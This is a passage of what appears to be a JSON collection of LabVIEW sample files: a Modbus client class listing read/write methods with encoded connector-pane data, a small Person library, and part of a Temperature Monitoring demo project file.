Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!&amp;J!!!!$1!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!\"&gt;!\"Q!2&gt;'FN:7^V&gt;#QA&lt;8-A+$-Q-#E!*5!7!!-$5F26\"5&amp;41UF*!V2$5!!/=(*P&gt;'^D&lt;WQA+&amp;2$5#E!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!'U!&amp;!\"6T&gt;'&amp;U;7^O)'&amp;E:(*F=X-A+$)V.3E!%5!'!!JQ&lt;X*U)#AV-$)J!!!51$$`````#GFQ)'&amp;E:(*F=X-!!&amp;1!]!!-!!-!\"!!%!!5!\"!!'!!1!\"Q!)!!E!#A!,!Q!!?!!!$1A!!!!!!!!!!!!!#1!!!!!!!!!)!!!!!!!!!!A!!!!+!!!!#!!!!!A!!!)1!!!!!!%!$!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1082143248</Property>\n\t\t</Item>\n\t\t<Item Name=\"Read Coils.vi\" Type=\"VI\" URL=\"../Public/Read Coils.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!&amp;C!!!!$1!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!!1!)1!51%!!!@````]!\"1:W97RV:8-!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!&amp;5!'!!^O&gt;7VC:8)A&lt;W9A9W^J&lt;(-!$5!'!!&gt;B:'2S:8.T!#Z!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S\"J&lt;A\"B!0!!$!!$!!1!\"A!(!!1!\"!!%!!1!#!!*!!I!#Q-!!(A!!!U)!!!!!!!!#1!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!\")!!!!1!!!!%A!!$1!!!!Q!!!!!!!!!!!!!!1!-!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1352933904</Property>\n\t\t</Item>\n\t\t<Item Name=\"Read Discrete Inputs.vi\" Type=\"VI\" URL=\"../Public/Read Discrete Inputs.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!&amp;M!!!!$1!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!!1!)1!51%!!!@````]!\"1:W97RV:8-!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!(U!'!\"FO&gt;7VC:8)A&lt;W9A:'FT9X*F&gt;'5A;7ZQ&gt;82T!!V!\"A!(972E=G6T=Q!O1(!!(A!!'BB14#\".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-!!!F.4U2#66-A;7Y!91$Q!!Q!!Q!%!!9!\"Q!%!!1!\"!!%!!A!#1!+!!M$!!\"Y!!!.#!!!!!!!!!E!!!!.#Q!!!!!!!!!!!!!!!!!!!!!!!!I!!!!3!!!!%!!!!\")!!!U!!!!-!!!!!!!!!!!!!!%!$!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1352933904</Property>\n\t\t</Item>\n\t\t<Item Name=\"Read Holding Registers.vi\" Type=\"VI\" URL=\"../Public/Read Holding Registers.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!&amp;X!!!!$1!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!!V!\"A!(4H6N:8*J9Q!51%!!!@````]!\"1:W97RV:8-!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!)5!'!\"NO&gt;7VC:8)A&lt;W9A;'^M:'FO:S\"S:7&gt;J=X2F=H-!$5!'!!&gt;B:'2S:8.T!#Z!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S\"J&lt;A\"B!0!!$!!$!!1!\"A!(!!1!\"!!%!!1!#!!*!!I!#Q-!!(A!!!U)!!!!!!!!#1!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!\")!!!!1!!!!%A!!$1!!!!Q!!!!!!!!!!!!!!1!-!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1352933904</Property>\n\t\t</Item>\n\t\t<Item Name=\"Read Input Registers.vi\" Type=\"VI\" URL=\"../Public/Read Input Registers.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!&amp;V!!!!$1!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!!V!\"A!(4H6N:8*J9Q!51%!!!@````]!\"1:W97RV:8-!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!(U!'!\"FO&gt;7VC:8)A&lt;W9A;7ZQ&gt;81A=G6H;8.U:8*T!!V!\"A!(972E=G6T=Q!O1(!!(A!!'BB14#\".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-!!!F.4U2#66-A;7Y!91$Q!!Q!!Q!%!!9!\"Q!%!!1!\"!!%!!A!#1!+!!M$!!\"Y!!!.#!!!!!!!!!E!!!!.#Q!!!!!!!!!!!!!!!!!!!!!!!!I!!!!3!!!!%!!!!\")!!!U!!!!-!!!!!!!!!!!!!!%!$!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1352671760</Property>\n\t\t</Item>\n\t\t<Item Name=\"Write Multiple Coils.vi\" Type=\"VI\" URL=\"../Public/Write Multiple Coils.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!&amp;.!!!!$!!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!\"!!B!\"2!1!!\"`````Q!(\"H:B&lt;(6F=Q!!$5!'!!&gt;B:'2S:8.T!#Z!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S\"J&lt;A\"B!0!!$!!$!!1!\"!!&amp;!!1!\"!!%!!1!\"A!)!!E!#A-!!(A!!!U)!!!!!!!!!!!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!B!!!!!1!!!!%A!!$1!!!!Q!!!!!!!!!!!!!!1!,!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1352933904</Property>\n\t\t</Item>\n\t\t<Item Name=\"Write Multiple Holding Registers.vi\" Type=\"VI\" URL=\"../Public/Write Multiple Holding Registers.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!&amp;7!!!!$!!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!$5!'!!&gt;/&gt;7VF=GFD!\"2!1!!\"`````Q!(\"H:B&lt;(6F=Q!!$5!'!!&gt;B:'2S:8.T!#Z!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S\"J&lt;A\"B!0!!$!!$!!1!\"!!&amp;!!1!\"!!%!!1!\"A!)!!E!#A-!!(A!!!U)!!!!!!!!!!!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!B!!!!!1!!!!%A!!$1!!!!Q!!!!!!!!!!!!!!1!,!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1352933904</Property>\n\t\t</Item>\n\t\t<Item Name=\"Write Single Coil.vi\" Type=\"VI\" URL=\"../Public/Write Single Coil.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!%`!!!!#Q!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!#E!B\"8:B&lt;(6F!!V!\"A!(972E=G6T=Q!O1(!!(A!!'BB14#\".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-!!!F.4U2#66-A;7Y!91$Q!!Q!!Q!%!!1!\"1!%!!1!\"!!%!!9!\"Q!)!!E$!!\"Y!!!*!!!!!!!!!!!!!!!.#Q!!!!!!!!!!!!!!!!!!!!!!!!I!!!!1!!!!%!!!!\")!!!U!!!!-!!!!!!!!!!!!!!%!#A!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1117782544</Property>\n\t\t</Item>\n\t\t<Item Name=\"Write Single Holding Register.vi\" Type=\"VI\" URL=\"../Public/Write Single Holding Register.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!&amp;!!!!!#Q!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!#U!'!!6W97RV:1!.1!9!\"W&amp;E:(*F=X-!,E\"Q!\"Y!!\"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!*45^%1F64)'FO!'%!]!!-!!-!\"!!%!!5!\"!!%!!1!\"!!'!!=!#!!*!Q!!?!!!#1!!!!!!!!!!!!!!$1M!!!!!!!!!!!!!!!!!!!!!!!!+!!!!%!!!!\"!!!!!3!!!.!!!!$!!!!!!!!!!!!!!\"!!I!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1117782544</Property>\n\t\t</Item>\n\t</Item>\n</LVClass>\n"
  },
  {
    "path": "samples/LabVIEW/Person.lvlib",
    "content": "﻿<?xml version='1.0' encoding='UTF-8'?>\r\n<Library LVVersion=\"19008000\">\r\n\t<Property Name=\"NI.Lib.Icon\" Type=\"Bin\">'1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!(]!!!*Q(C=\\&gt;7R=2MR%!81N=?\"5Q&lt;/07RB7W!,&lt;'&amp;&lt;9+K1,7Q,&lt;)%N&lt;!NMA3X)DW?-RJ(JQ\"I\\%%Z,(@`BA#==ZB3RN;]28_,V7@PWW`:R`&gt;HV*SU_WE@\\N_XF[3:^^TX\\+2YP)D7K6;G-RV3P)R`ZS%=_]J'XP/5N&lt;XH,7V\\SEJ?]Z#5P?=J4HP+5JTTFWS%0?=B$DD1G(R/.1==!IT.+D)`B':\\B'2Z@9XC':XC':XBUC?%:HO%:HO&amp;R7QT0]!T0]!S0I4&lt;*&lt;)?=:XA-(]X40-X40-VDSGC?\"GC4N9(&lt;)\"D2,L;4ZGG?ZH%;T&gt;-]T&gt;-]T?.S.%`T.%`T.)^&lt;NF8J4@-YZ$S'C?)JHO)JHO)R&gt;\"20]220]230[;*YCK=ASI2F=)1I.Z5/Z5PR&amp;)^@54T&amp;5TT&amp;5TQO&lt;5_INJ6Z;\"[(H#&gt;ZEC&gt;ZEC&gt;Z$\"(*ETT*ETT*9^B)HO2*HO2*(F.&amp;]C20]C2)GN4UE1:,.[:/+5A?0^NOS?UJ^3&lt;*\\9B9GT@7JISVW7*NIFC&lt;)^:$D`5Q9TWE7)M@;V&amp;D,6;M29DVR]6#R],%GC47T9_/=@&gt;Z5V&gt;V57&gt;V5E&gt;V5(OV?^T[FTP?\\`?YX7ZRP6\\D=LH%_8S/U_E5R_-R$I&gt;$\\0@\\W/VW&lt;[_\"\\Y[X&amp;],0^^+,]T_J&gt;`J@_B_]'_.T`$KO.@I\"XC-_N!!!!!!</Property>\r\n\t<Property Name=\"NI.Lib.SourceVersion\" Type=\"Int\">419463168</Property>\r\n\t<Property Name=\"NI.Lib.Version\" Type=\"Str\">1.0.0.0</Property>\r\n\t<Property Name=\"NI.LV.All.SourceOnly\" Type=\"Bool\">true</Property>\r\n\t<Item Name=\"Messages for Person\" Type=\"Folder\">\r\n\t\t<Item Name=\"Show or Hide Front Panel Msg.lvclass\" Type=\"LVClass\" URL=\"../Person Messages/Show or Hide Front Panel Msg/Show or Hide Front Panel Msg.lvclass\"/>\r\n\t</Item>\r\n\t<Item Name=\"Person.lvclass\" Type=\"LVClass\" URL=\"../Person/Person.lvclass\"/>\r\n</Library>\r\n"
  },
  {
    "path": "samples/LabVIEW/Temperature Monitoring.lvproj",
    "content": "﻿<?xml version='1.0' encoding='UTF-8'?>\r\n<Project Type=\"Project\" LVVersion=\"19008000\">\r\n\t<Property Name=\"NI.LV.All.SourceOnly\" Type=\"Bool\">false</Property>\r\n\t<Property Name=\"NI.LV.ExampleFinder\" Type=\"Str\">&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\r\n&lt;nidna:ExampleProgram \r\n    xmlns:nidna=\"http://www.ni.com/Schemas/DNA/1.0\" \r\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \r\n    xsi:schemaLocation=\"http://www.ni.com/Schemas/DNA/1.0 ..\\DNA\\1.0\\NiExampleProgram.xsd\" \r\n    SchemaVersion=\"1.0\" \r\n    ContentType=\"EXAMPLE\" \r\n&lt;Title&gt;\r\n\t&lt;Text Locale=\"US\"&gt;Temperature Monitoring.lvproj&lt;/Text&gt;\r\n&lt;/Title&gt;\r\n&lt;Description&gt;\r\n\t&lt;Text Locale=\"US\"&gt; Temperature Monitoring demonstrates a temperature monitoring application.  The main VI reads a simulated temperature and alarms if it is outside a given range. This example also shows a usage of the Continuous Measurement and Logging sample project, but it contains a subset of the functionality in that sample project.&lt;/Text&gt;\r\n&lt;/Description&gt;\r\n&lt;Keywords&gt; \r\n &lt;Item&gt;temperature&lt;/Item&gt; \r\n &lt;Item&gt;temperatures&lt;/Item&gt; \r\n &lt;Item&gt;continuous&lt;/Item&gt; \r\n &lt;Item&gt;monitoring&lt;/Item&gt; \r\n &lt;Item&gt;app&lt;/Item&gt; \r\n &lt;Item&gt;apps&lt;/Item&gt; \r\n &lt;Item&gt;application&lt;/Item&gt; \r\n &lt;Item&gt;applications&lt;/Item&gt; \r\n &lt;Item&gt;demo&lt;/Item&gt; \r\n &lt;Item&gt;demos&lt;/Item&gt; \r\n&lt;/Keywords&gt; \r\n&lt;Navigation&gt; \r\n &lt;Item&gt;3040&lt;/Item&gt; \r\n&lt;/Navigation&gt; \r\n&lt;FileType&gt;LV Project&lt;/FileType&gt;\r\n&lt;Metadata&gt;\r\n&lt;Item Name=\"RTSupport\"&gt;LV Project&lt;/Item&gt;\r\n&lt;/Metadata&gt;\r\n&lt;ProgrammingLanguages&gt;\r\n&lt;Item&gt;LabVIEW&lt;/Item&gt;\r\n&lt;/ProgrammingLanguages&gt;\r\n&lt;RequiredSoftware&gt;\r\n&lt;NiSoftware MinVersion=\"13.0\"&gt;LabVIEW&lt;/NiSoftware&gt; \r\n&lt;/RequiredSoftware&gt;</Property>\r\n\t<Property Name=\"NI.Project.Description\" Type=\"Str\">Temperature Monitoring demonstrates a temperature monitoring application.  The main VI reads a simulated temperature and alarms if it is outside a given range. This example also shows a usage of the Continuous Measurement and Logging sample project, but it contains a subset of the functionality in that sample project.</Property>\r\n\t<Item Name=\"My Computer\" Type=\"My Computer\">\r\n\t\t<Property Name=\"IOScan.Faults\" Type=\"Str\"></Property>\r\n\t\t<Property Name=\"IOScan.NetVarPeriod\" Type=\"UInt\">100</Property>\r\n\t\t<Property Name=\"IOScan.NetWatchdogEnabled\" Type=\"Bool\">false</Property>\r\n\t\t<Property Name=\"IOScan.Period\" Type=\"UInt\">10000</Property>\r\n\t\t<Property Name=\"IOScan.PowerupMode\" Type=\"UInt\">0</Property>\r\n\t\t<Property Name=\"IOScan.Priority\" Type=\"UInt\">9</Property>\r\n\t\t<Property Name=\"IOScan.ReportModeConflict\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"IOScan.StartEngineOnDeploy\" Type=\"Bool\">false</Property>\r\n\t\t<Property Name=\"NI.SortType\" Type=\"Int\">3</Property>\r\n\t\t<Property Name=\"server.app.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.control.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.tcp.enabled\" Type=\"Bool\">false</Property>\r\n\t\t<Property Name=\"server.tcp.port\" Type=\"Int\">0</Property>\r\n\t\t<Property Name=\"server.tcp.serviceName\" Type=\"Str\">My Computer/VI Server</Property>\r\n\t\t<Property Name=\"server.tcp.serviceName.default\" Type=\"Str\">My Computer/VI Server</Property>\r\n\t\t<Property Name=\"server.vi.callsEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.vi.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"specify.custom.address\" Type=\"Bool\">false</Property>\r\n\t\t<Item Name=\"Support VIs\" Type=\"Folder\">\r\n\t\t\t<Property Name=\"NI.SortType\" Type=\"Int\">3</Property>\r\n\t\t\t<Item Name=\"Temp Monitor Message Queue.lvlib\" Type=\"Library\" URL=\"../support/Message Queue/Temp Monitor Message Queue.lvlib\"/>\r\n\t\t\t<Item Name=\"Temp Monitor User Event - Stop.lvlib\" Type=\"Library\" URL=\"../support/User Event - Stop/Temp Monitor User Event - Stop.lvlib\"/>\r\n\t\t\t<Item Name=\"Temp Monitor Set Enable State on Multiple Controls.vi\" Type=\"VI\" URL=\"../support/Temp Monitor Set Enable State on Multiple Controls.vi\"/>\r\n\t\t\t<Item Name=\"Simulate Temperature Acquisition.vi\" Type=\"VI\" URL=\"../support/Simulate Temperature Acquisition.vi\"/>\r\n\t\t\t<Item Name=\"Send Data Notification.vi\" Type=\"VI\" URL=\"../support/Send Data Notification.vi\"/>\r\n\t\t\t<Item Name=\"Create Notifier for Simulated Data.vi\" Type=\"VI\" URL=\"../support/Create Notifier for Simulated Data.vi\"/>\r\n\t\t\t<Item Name=\"Set Alarm Colors and Get Alarm Text.vi\" Type=\"VI\" URL=\"../support/Set Alarm Colors and Get Alarm Text.vi\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Type Definitions\" Type=\"Folder\">\r\n\t\t\t<Item Name=\"Temp Monitor UI Data.ctl\" Type=\"VI\" URL=\"../controls/Temp Monitor UI Data.ctl\"/>\r\n\t\t\t<Item Name=\"Simulated Data.ctl\" Type=\"VI\" URL=\"../controls/Simulated Data.ctl\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Temperature Monitoring.vi\" Type=\"VI\" URL=\"../Temperature Monitoring.vi\"/>\r\n\t\t<Item Name=\"Dependencies\" Type=\"Dependencies\">\r\n\t\t\t<Item Name=\"vi.lib\" Type=\"Folder\">\r\n\t\t\t\t<Item Name=\"Error Cluster From Error Code.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Error Cluster From Error Code.vi\"/>\r\n\t\t\t\t<Item Name=\"Clear Errors.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Clear Errors.vi\"/>\r\n\t\t\t\t<Item Name=\"DialogType.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/DialogType.ctl\"/>\r\n\t\t\t\t<Item Name=\"General Error Handler.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/General Error Handler.vi\"/>\r\n\t\t\t\t<Item Name=\"Simple Error Handler.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Simple Error Handler.vi\"/>\r\n\t\t\t\t<Item Name=\"LVTextColorsTypeDef.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/miscctls.llb/LVTextColorsTypeDef.ctl\"/>\r\n\t\t\t\t<Item Name=\"DialogTypeEnum.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/DialogTypeEnum.ctl\"/>\r\n\t\t\t\t<Item Name=\"General Error Handler Core CORE.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/General Error Handler Core CORE.vi\"/>\r\n\t\t\t\t<Item Name=\"whitespace.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/whitespace.ctl\"/>\r\n\t\t\t\t<Item Name=\"Check Special Tags.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Check Special Tags.vi\"/>\r\n\t\t\t\t<Item Name=\"TagReturnType.ctl\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/TagReturnType.ctl\"/>\r\n\t\t\t\t<Item Name=\"Set String Value.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Set String Value.vi\"/>\r\n\t\t\t\t<Item Name=\"GetRTHostConnectedProp.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/GetRTHostConnectedProp.vi\"/>\r\n\t\t\t\t<Item Name=\"Error Code Database.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Error Code Database.vi\"/>\r\n\t\t\t\t<Item Name=\"Trim Whitespace.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Trim Whitespace.vi\"/>\r\n\t\t\t\t<Item Name=\"Format Message String.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Format Message String.vi\"/>\r\n\t\t\t\t<Item Name=\"Find Tag.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Find Tag.vi\"/>\r\n\t\t\t\t<Item Name=\"Search and Replace Pattern.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Search and Replace Pattern.vi\"/>\r\n\t\t\t\t<Item Name=\"Set Bold Text.vi\" Type=\"VI\" URL=\"/&lt;vilib&gt;/Utility/error.llb/Set Bold 